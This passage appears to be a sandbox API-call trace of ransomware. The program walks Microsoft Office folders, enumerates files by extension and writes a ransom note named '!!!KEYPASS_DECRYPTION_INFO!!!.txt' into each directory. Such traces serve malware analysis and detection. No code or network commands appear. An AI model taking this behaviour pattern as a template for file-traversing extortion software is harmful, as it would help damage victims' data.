Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF") returned=".GIF" [0243.898] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.898] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0243.899] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF") returned=".GIF" [0243.899] FindNextFileW (in: hFindFile=0x2e79c18, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 0 [0243.899] FindNextFileW (in: hFindFile=0x2e79618, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0243.899] FindNextFileW (in: hFindFile=0x2e79158, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0 [0243.899] FindNextFileW (in: hFindFile=0x2e79098, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0243.900] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0243.900] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcb3a10 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.900] GetLastError () returned 0x3f0 [0243.900] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.900] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0243.934] GetFileType (hFile=0x5c4) returned 0x1 [0243.934] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0243.934] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0243.935] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0243.935] WriteFile (in: hFile=0x5c4, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0243.936] WriteFile (in: hFile=0x5c4, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0243.936] CloseHandle (hObject=0x5c4) returned 1 [0243.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0x2e79758 [0243.936] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.936] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.937] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Facet.thmx") returned=".thmx" [0243.937] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Gallery.thmx") returned=".thmx" [0243.937] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Integral.thmx") returned=".thmx" [0243.937] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion Boardroom.thmx") returned=".thmx" [0243.937] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Ion.thmx") returned=".thmx" [0243.937] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx") returned=".thmx" [0243.937] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx") returned=".thmx" [0243.937] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx") returned=".thmx" [0243.937] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx") returned=".thmx" [0243.937] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.937] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0243.937] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2efa650 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.937] GetLastError () returned 0x3f0 [0243.937] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.937] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b8 [0243.975] GetFileType (hFile=0x5b8) returned 0x1 [0243.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0243.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0243.975] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0243.975] WriteFile (in: hFile=0x5b8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0243.976] WriteFile (in: hFile=0x5b8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0243.976] CloseHandle (hObject=0x5b8) returned 1 [0243.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e798d8 [0243.976] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.976] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.976] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0243.976] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.976] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Aspect.xml") returned=".xml" [0243.976] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.976] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Green.xml") returned=".xml" [0243.976] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.976] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue II.xml") returned=".xml" [0243.976] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.976] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue Warm.xml") returned=".xml" [0243.976] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.976] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Blue.xml") returned=".xml" [0243.976] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Grayscale.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green Yellow.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Paper.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Orange.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red Violet.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0243.977] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml") returned=".xml" [0243.977] FindNextFileW (in: hFindFile=0x2e798d8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0243.978] FindNextFileW (in: hFindFile=0x2e79758, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0243.978] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0243.978] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2efa650 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0243.978] GetLastError () returned 0x3f0 [0243.978] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0243.978] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0243.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0243.998] GetFileType (hFile=0x5c8) returned 0x1 [0243.998] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0243.998] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0243.998] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0243.998] WriteFile (in: hFile=0x5c8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0243.999] WriteFile (in: hFile=0x5c8, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0243.999] CloseHandle (hObject=0x5c8) returned 1 [0243.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0x2e79718 [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0244.000] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned=".eftx" [0244.000] FindNextFileW (in: hFindFile=0x2e79718, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 